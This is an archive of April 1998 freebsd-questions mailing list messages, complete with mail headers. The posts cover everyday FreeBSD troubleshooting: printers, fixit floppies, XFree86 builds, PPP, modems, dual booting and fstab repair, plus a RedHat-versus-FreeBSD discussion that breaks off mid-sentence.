(8.8.8/8.8.8) with ESMTP id QAA12989 for ; Sun, 5 Apr 1998 16:02:10 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id QAA17763; Sun, 5 Apr 1998 16:01:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 16:01:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: Simon Shapiro cc: freebsd-questions@FreeBSD.ORG Subject: Re: ALPS MD-1300 SCSI PRinter In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Simon Shapiro wrote: > Does anyone know how to make this printer work in FreeBSD? > > How about running it from the Parallel Port instead of SCSI? **SCSI**? Eh? I don't think that's supported, but you're welcome to program us a driver :-) If you can get it to talk in parallel mode that would be much better. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:18:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17628 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:18:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17585 for ; Sun, 5 Apr 1998 16:18:15 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id TAA04733 for ; Sun, 5 Apr 1998 19:22:37 -0400 (EDT) Date: Sun, 5 Apr 1998 19:22:37 -0400 (EDT) From: "Stephen A. Derdau" To: freebsd-questions@FreeBSD.ORG Subject: Where is fixit instructions? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can't seem to find fixit instructions anywhere. I need to fix my fstab file and I cannot. I have boot.flp and fixit.flp. However when I get to fixit not sure what to do. searched for awhile now looking for instructions. Help would be greatly appreciated. I'm not being rude when I am asking. Hope someone can help. Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:19:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17696 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:19:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw00.execpc.com (sendmail@mailgw00.execpc.com [169.207.16.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17610; Sun, 5 Apr 1998 16:18:32 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (jupiter-41.mdm.mke.execpc.com [169.207.66.234]) by mailgw00.execpc.com (8.8.8) id SAA18234; Sun, 5 Apr 1998 18:18:15 -0500 (CDT) Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id RAA02268; Sun, 5 Apr 1998 17:18:46 -0500 From: "Frank Pawlak" Message-Id: <980405171846.ZM2265@execpc.com> Date: Sun, 5 Apr 1998 17:18:46 -0500 In-Reply-To: Gorgonio Araujo "XFree86 current port" (Apr 2, 9:12am) References: X-Mailer: Z-Mail (5.0.0 30July97) To: Gorgonio Araujo , jmz@FreeBSD.ORG Subject: Re: XFree86 current port Cc: freebsd-questions@FreeBSD.ORG, =?iso-8859-1?Q?Suporte_de_Opera=E7=F5es?= =?iso-8859-1?Q?_da_Nexos?= MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id QAA17625 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had the same experience with the port. I grabed the source from xfree.org and built it from that. Works like a charm. Frank On Apr 2, 9:12am, Gorgonio Araujo wrote: > Subject: XFree86 current port > Hello Jean-Marc! > > I'm trying to build XFree86-3.3.2 without success. cc is complaining about > a rpc/key_prot.h include file while trying to build xdm. I'm using FreeBSD > 2.2.5-RELEASE, is rpc/key_prot.h a FreeBSD-current file or I missed > something? > > Here is the make install output: > > >> Checksum OK for xc/X332src-1.tgz. > >> Checksum OK for xc/X332src-2.tgz. > ===> Extracting for XFree86-3.3.2 > > gzip: stdin: not in gzip format > /usr/bin/tar: child returned status 1 > ===> Patching for XFree86-3.3.2 > ===> Applying FreeBSD patches for XFree86-3.3.2 > ===> Configuring for XFree86-3.3.2 > Using tk-8.0 > ... > installing in programs/xdm... > cc -O2 -ansi -pedantic -Dasm=__asm -I../.. -I../../exports/include > -DCSRG_BA > SED -DFUNCPROTO=15 -DNARROWPROTO -DBINDIR=\"/usr/X11R6/bin\" > -DXDMDIR=\"/usr/ > X11R6/lib/X11/xdm\" -DHASXDMAUTH -DSECURE_RPC > -DK4AU > TH -DBIND_HACK -DTCPCONN -DUNIXCONN > -DGREET_USER_STATIC -DFR > AGILE_DEV_MEM -DOSMAJORVERSION=2 -DOSMINORVERSION=2 > -DHAS_SETUSERCONTEXT -c session.c > session.c:53: rpc/key_prot.h: No such file or directory > *** Error code 1 > ... > > Thanks, > > -- > Gorgonio Araújo > Nexos - http://www.nexos.com.br > tel/fax: +55 71 240-7232 > -- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >-- End of excerpt from Gorgonio Araujo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:19:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17722 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:19:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail2.ahnet.net [207.213.224.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17658 for ; Sun, 5 Apr 1998 16:18:48 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p6.apc.net [207.211.76.160]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id QAA07963 for ; Sun, 5 Apr 1998 16:11:24 -0700 (PDT) Message-Id: <3.0.5.32.19980405161453.00910810@mail.zwb.net> X-Sender: 5808.dima@mail.zwb.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sun, 05 Apr 1998 16:14:53 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: Cannot telnet to myself Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi: I can't telnet to myself! I'm running FreeBS 2.2.6. When I try 'telnet 127.0.0.1', I get 'telnet: Unable to connect to remote host: Connection refused'. Please send response by e-mail Any help would be appreciated! Dima --- Thanks! Dima Dorfman - WebMaster/Administrator, zWeb webmaster@zwb.net http://www.zwb.net/ "640k ought to be enough for anybody." - Bill Gates, 1981 "I am not a crook!" - Al Capone "Microsoft is not a monopoly!" - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:25:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA19649 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:25:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from atrophy.dyn.ml.org (pissed@ppp135118.usmo.com [206.100.135.118]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA19480 for ; Sun, 5 Apr 1998 16:24:27 -0700 (PDT) (envelope-from vile@atrophy.dyn.ml.org) Received: (from vile@localhost) by atrophy.dyn.ml.org (8.8.8/8.8.8) id RAA10438; Sun, 5 Apr 1998 17:37:01 -0500 (CDT) (envelope-from vile) Message-ID: <19980405173659.47190@atrophy.dyn.ml.org> Date: Sun, 5 Apr 1998 17:36:59 -0500 From: Anber Rybar To: Jonathan Chen Cc: questions@FreeBSD.ORG Subject: Re: ln -s References: <19980405161205.17107@atrophy.dyn.ml.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: ; from Jonathan Chen on Mon, Apr 06, 1998 at 10:49:27AM +1200 Organization: The Yalta Underground X-Operating-System: FreeBSD 2.2.6-RELEASE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Jonathan Chen (jonc@pinnacle.co.nz): > On Sun, 5 Apr 1998, Anber Rybar wrote: > > [snip] > > The copy of ln that ships with FreeBSD will make a soft link to a directory a > > hard link. I want to know why. > > No it doesn't; as the following demonstrates most clearly: Yes, I discovered my err shortly after sending that message. It was that when running ls and rm I was using bash-2.0 filename completion. This, unfortunatly, placed a / at the end of the soft link, forcing it to be handled as a directory. -- ( "Lay my hands on heaven and the moon and the sun and the stars." -Trent R. ) ( vile@usmo.com * Prime Minister, The Yalta Underground * I am sanctified ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:27:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA20495 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:27:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org ([195.166.136.63]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA20390 for ; Sun, 5 Apr 1998 16:26:51 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id AAA29259; Mon, 6 Apr 1998 00:07:42 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804052307.AAA29259@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Capriotti cc: Brian Somers , "Derrick Springer" , freebsd-questions@FreeBSD.ORG Subject: Re: PPP help w/ Release 2.2.5 In-reply-to: Your message of "Mon, 06 Apr 1998 05:58:47 -0300." <3.0.32.19980406055655.00ad0690@pop.mpc.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 06 Apr 1998 00:07:42 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Let's try something easier: > > Can you tell exactly the command you're using to call ppp ? > > would it be > > > ppp [.....] Yep. You need interactive mode, otherwise you can't type anything. $ ppp ppp ON mymachine> load default ppp ON mymachine> load provider They shouldn't (assuming you've got the necessary sections in the /etc/ppp/ppp.conf file. Also check /var/log/ppp.log. Are there any interesting messages there ? > At 01:00 AM 4/5/98 +0100, Brian Somers wrote: > >Try connecting then `load default' and `load provider'. Does that > >help ? Do you see any errors or warnings in the log file ? -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:32:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA22280 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:32:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA22244 for ; Sun, 5 Apr 1998 16:32:23 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.8/8.8.8) with SMTP id SAA08534; Sun, 5 Apr 1998 18:32:09 -0500 (CDT) Date: Sun, 5 Apr 1998 18:32:09 -0500 (CDT) From: "Matthew D. Fuller" To: Aaron Johnson cc: "'freebsd-questions@freebsd.org'" Subject: Re: RedHAT 5 or Free BSD In-Reply-To: <01BD60B9.831D6580@g-force.freelance> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Aaron Johnson wrote: > I am currently using RedHAT v3 and I am looking to move to another OS. > Please e-mail me with reasons why I should buy freebsd rather than RedHAT 5. > > Sensible reasons please not.(cos it's better) Take a look at: http://www.futuresouth.com/~fullermd/freebsd/bsdvlin.html A concensus that came up recently was this: FreeBSD is a BSD UNIX that happens to run of PC's Linux (any linux) is a PC OS that happens to be vaguely POSIX-ish > aaron@aaronfcsi.force9.co.uk *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * "The only reason I'm burning my candle at both ends, is * | that I haven't figured out how to light the middle yet."| * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:33:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA22359 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:33:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from oz.plymouth.edu (oz.plymouth.edu [158.136.1.100]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA22341 for ; Sun, 5 Apr 1998 16:32:55 -0700 (PDT) (envelope-from r_geline@oz.plymouth.edu) Received: (from r_geline@localhost) by oz.plymouth.edu (8.8.8/8.8.8) id TAA09178 for freebsd-questions@FreeBSD.ORG; Sun, 5 Apr 1998 19:32:52 -0400 (EDT) From: "Randy S. Gelineau" Message-Id: <199804052332.TAA09178@oz.plymouth.edu> Subject: question To: freebsd-questions@FreeBSD.ORG Date: Sun, 5 Apr 1998 19:32:52 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am having a problem getting my modem recognized. It is an internal modem and I think that it is on cuaa0. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:37:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA23356 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:37:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from logon.log.on.ca (root@log.on.ca [205.207.183.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA23348 for ; Sun, 5 Apr 1998 16:37:18 -0700 (PDT) (envelope-from andrew@log.on.ca) Received: from [192.168.1.3](ppp0001.log.on.ca[205.207.183.34]) (1951 bytes) by logon.log.on.ca via sendmail with P:smtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Sun, 5 Apr 1998 19:37:01 -0400 (EDT) (Smail-3.2.0.101 1997-Dec-17 #2 built 1997-Dec-18) Message-Id: To: "freebsd-questions@freebsd.org" Subject: Using ICQ with an IP alias Date: Sun, 05 Apr 98 19:40:13 -0500 From: Andrew Stevens X-Mailer: E-Mail Connection v2.5.03 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- Greetings once again! A few days ago my ppp problem was solved. It turned out the I/O card in my computer was too slow and couldn't communicate to the modem properly. I now have a new, faster card installed and things have been working without any errors whatsoever. Anyway, now that the gateway is back up, I seem to have a problem running certain chat programs from my Windows machine, which is now getting its internet access from my unix box via an IP alias. In particular I have been using ICQ and Speak Freely; both of which work properly when I get my internet access directly from the Windows machine itself. For ease of reading I have divided this quesiton into two parts to deal with the two programs respectively: ICQ: I am able to establish chat sessions only if I initiate them. Otherwise I will receive the request and click 'accept', but can't get any further than that. Also, instant messages from other users must be sent through the ICQ server (as if I'm offline), otherwise, the message "can't establish direct connection to user" is displayed. Speak Freely: The individual I'm talking to can hear me, but I can't hear them. I can see the RD light on my modem busy, but these signals are not being passed on to my voice machine. I'm sure these problems are connected somehow. I added the necessary ports to /etc/services in hopes that this would end the problem, but no luck . I've also tried "alias deny_incoming no" at the ppp prompt. Any thoughts ? Thanks, Andrew Stevens. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:17:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA28552 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:17:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA28070 for ; Sun, 5 Apr 1998 17:16:20 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (jupiter-41.mdm.mke.execpc.com [169.207.66.234]) by mailgw02.execpc.com (8.8.8) id TAA03601; Sun, 5 Apr 1998 19:16:00 -0500 (CDT) Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id SAA03812; Sun, 5 Apr 1998 18:16:33 -0500 From: "Frank Pawlak" Message-Id: <980405181633.ZM3811@execpc.com> Date: Sun, 5 Apr 1998 18:16:33 -0500 In-Reply-To: Gary Kline "dual booting on the IWILL P55XUB" (Apr 3, 10:44am) References: <199804031844.KAA26810@tao.thought.org> X-Mailer: Z-Mail (5.0.0 30July97) To: Gary Kline , freebsd-questions@FreeBSD.ORG (FreeBSD Mailing List) Subject: Re: dual booting on the IWILL P55XUB Cc: bleach@bellsouth.net (W.L. Leach) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 3, 10:44am, Gary Kline wrote: > Subject: dual booting on the IWILL P55XUB > > After last night, I'm beginning to think that to get > both Debian and FreeBSD booting _without changing the > Adaptec BIOS settings on my IWILL P55XUB_ is going to be > impossible. > > First, trying to de-install lilo fails. At least I > kept getting the ``LI'' (infinite hang) sequence. > > Does anybody on the list have an equivalent hardware > configuration? Multiple SCSI drives: Linux rooted on > the first drive, FBSD on the second? > > > > -- > Gary D. Kline kline@tao.thought.org Public service uNix > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >-- End of excerpt from Gary Kline Gary, Try this as root using a DOS boot disk with fdisk on it. Boot from the DOS disk and run fdisk /MBR. This will clear the MBR of LILO. Then try to install booteasy from the CDROM. Boot Linux from the boot floppy and install LILO on the Linux root partition and make the Linux root partition bootable. This should make the Linux partition visable to boot easy. Will have a closer look at this later. Frank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:22:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA00700 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:22:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA00596 for ; Sun, 5 Apr 1998 17:22:02 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id UAA06529; Sun, 5 Apr 1998 20:26:21 -0400 (EDT) Date: Sun, 5 Apr 1998 20:26:21 -0400 (EDT) From: "Stephen A. Derdau" To: "Randy S. Gelineau" cc: freebsd-questions@FreeBSD.ORG Subject: Re: question In-Reply-To: <199804052332.TAA09178@oz.plymouth.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG cuaa0 is com1 cuaa1 is com2 and so on. If your modem was on com 2 using windows your modem is now on /dev/cuaa1 Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" On Sun, 5 Apr 1998, Randy S. Gelineau wrote: > I am having a problem getting my modem recognized. It is an internal > modem and I think that it is on cuaa0. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:26:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA02092 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:26:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA02000 for ; Sun, 5 Apr 1998 17:25:54 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id UAA06630 for ; Sun, 5 Apr 1998 20:30:10 -0400 (EDT) Date: Sun, 5 Apr 1998 20:30:10 -0400 (EDT) From: "Stephen A. Derdau" To: freebsd-questions@FreeBSD.ORG Subject: fstab problem 2.2.6 I had fixed. (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Man what a hassle. It started when I changed the name of /dev/wda0 trying to upgrade to 2.2.6. Anyways if someone can tell me what to do to get my new kernel built with 2.2.6 src regarding this hard drive thing I would appreciate that. Ok this is what I did rebooted the system kernel.old did fsck -p did mount -o rw -u /etc ***** instead of mount -u / ***** got error messages but so what !!! mount -a -t ufs swapon -a cd /etc vi fstab ***** note when id did df it showed /dev/wda0 ...etc .. / ****** Since the 2.2.6 upgrade is what started this and ******* maybe it may happen to others more often maybe this information may help someone else. ******** Had to blink twice to see if the fixit and boot floppies were really sitting on my desk. They were ? Anyways I diddled with the information that I got off the archives. must of tried for hours to get this to work. Got a piece of information here and piece of information there. I'm still not sure what and if the exact steps are that fixed the problem if it was mounting /etc or if it was booting kernel.old If I were more of a technical person I would write up information on using the fixit floppie. I couldn't find anything regards to that. I'm happy now that my system is back up and running. I really have to work on understanding how to get my tapedrive working. I have one but haven't worked on that yet. That and my soundcard are my next projects.....or next to my next projects. Would appreciate any info that would help me boot my new kernel 2.2.6 build ! Don't want to mess up fstab again Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:38:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA04846 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:38:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bartman.ic.sunysb.edu (bartman.ic.sunysb.edu [129.49.12.170]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA04837 for ; Sun, 5 Apr 1998 17:38:53 -0700 (PDT) (envelope-from jsabella@ic.sunysb.edu) Received: from ic.sunysb.edu (as4-20.dialup.sunysb.edu [129.49.81.26]) by bartman.ic.sunysb.edu (8.8.7/8.8.3) with ESMTP id UAA02431; Sun, 5 Apr 1998 20:38:33 -0400 (EDT) Message-ID: <352823FC.A39007A9@ic.sunysb.edu> Date: Sun, 05 Apr 1998 20:38:21 -0400 From: Jason Sabella X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: Greg Pavelcak CC: freebsd-questions@FreeBSD.ORG Subject: Re: New information... References: <0EQY009OOMS2B5@pobox1.oit.umass.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg, Thank you for your response. Do you know the FTP site where I can download this, and what directory and exactly what files I should download? Thank you for your help! Jason Sabella Greg Pavelcak wrote: > > On 5 Apr, Jason Sabella wrote: > > Hi Neil. I have the Gateway 2000 G6266 with the 6.4GIG hdd and the > > Promise Ultra DMA like you had said. I'm not sure if you saw some older > > messages of mine, but I'm trying to install it onto the empty 2.1 GIGS > > at the end of the disk(The first 2.1 GIGS is for DOS's C partition and > > the middle 2.1 GIGS is for DOS's D partition). But anyways, FreeBSD > > can't read the controller. When I go to install FreeBSD from the > > CD-ROM, I run install.bat, which executes the line: > > > > fbsdboot.exe -D kernel > > > > You had said to add the -current parameter, but it doesn't recognize > > such a parameter. Is this where you wanted me to type it in or is it > > somewhere else? Any help will be greatly appreciated. > > Thank you, > > Jason Sabella > > --- > > > Jason, > > Been following this thread some. "-current" is not a parameter for you > to type in, it is the "bleeding edge" version of FreeBSD. It's not too > difficult to switch to -current; however, you need to decide if you > really want to. I suppose if that's the only place for Promise Ultra33 > support, then you don't have much choice other than to give up on the > Ultra DMA (I'm not sure if that's supported outside of -current either). > > Read the Handbook section on "Staying Current" carefully (Since you're > sending e-mail, I'm assuming you can get the FreeBSD docs either on a > CD or at the web site). Also read any other stuff on -current and > "making the world" that you can find. Believe the warnings!! Just in > the past few weeks people running current have had file systems hosed > because of bugs that sneak in. > > One possibility that's somewhat safer is to upgrade to an old -current > instead of a new one (**man cvsup** you can specify the date of the > sources you want). I installed sources from Feb 26 and they seem to be > OK; however, I am not what you would call a power user. I started to use > -current out of curiosity--like a kid who has to touch the burner > because he doesn't his parents when they tell hime it's hot. > > I'm posting back to the list so that others who have advice on using > current can chime in. > > Good luck. > > Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:42:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA05707 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:42:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA05584 for ; Sun, 5 Apr 1998 17:42:12 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (bacrana-32.mdm.mke.execpc.com [169.207.82.160]) by mailgw02.execpc.com (8.8.8) id TAA07335; Sun, 5 Apr 1998 19:42:09 -0500 (CDT) Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id SAA03817; Sun, 5 Apr 1998 18:41:46 -0500 From: "Frank Pawlak" Message-Id: <980405184146.ZM3816@execpc.com> Date: Sun, 5 Apr 1998 18:41:46 -0500 In-Reply-To: Aaron Johnson "RedHAT 5 or Free BSD" (Apr 5, 5:37pm) References: <01BD60B9.831D6580@g-force.freelance> X-Mailer: Z-Mail (5.0.0 30July97) To: Aaron Johnson , "'freebsd-questions@freebsd.org'" Subject: Re: RedHAT 5 or Free BSD MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 5, 5:37pm, Aaron Johnson wrote: > Subject: RedHAT 5 or Free BSD > I am currently using RedHAT v3 and I am looking to move to another OS. > Please e-mail me with reasons why I should buy freebsd rather than RedHAT 5. > > Sensible reasons please not.(cos it's better) > > aaron@aaronfcsi.force9.co.uk > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >-- End of excerpt from Aaron Johnson I have tried the latest releases from RedHat and found them to be broken in many ways. They also use a lot of bleeding edge stuff that has caused numerous problems in compilling applications and getting the system stable. Have a look at their eratta lists. Using leading edge technology is fine in and of itself. However there should be some way for the user to decide whether or not they want to bear the risks associated with it. Red hat doesn't give you that choice. With FreeBSD you have the choice to use bleeding edge or stable operating system technology. Is FreeBSD better that RedHat 5.0 or any other Linux distribution? Obviously some of us believe that it is. I am not technically qualified to present the technical reason why FreeBSD is better. FreeBSD is UNIX -- whether that term can be applied or not. That is a trademark ownership issue, however FreeBSD id BSD UNIX in every sense of the work. Linux is a UNIX clone that use at lot of weird System V init stuff. RedHAt in particular has taken this to the limit in my not so humble 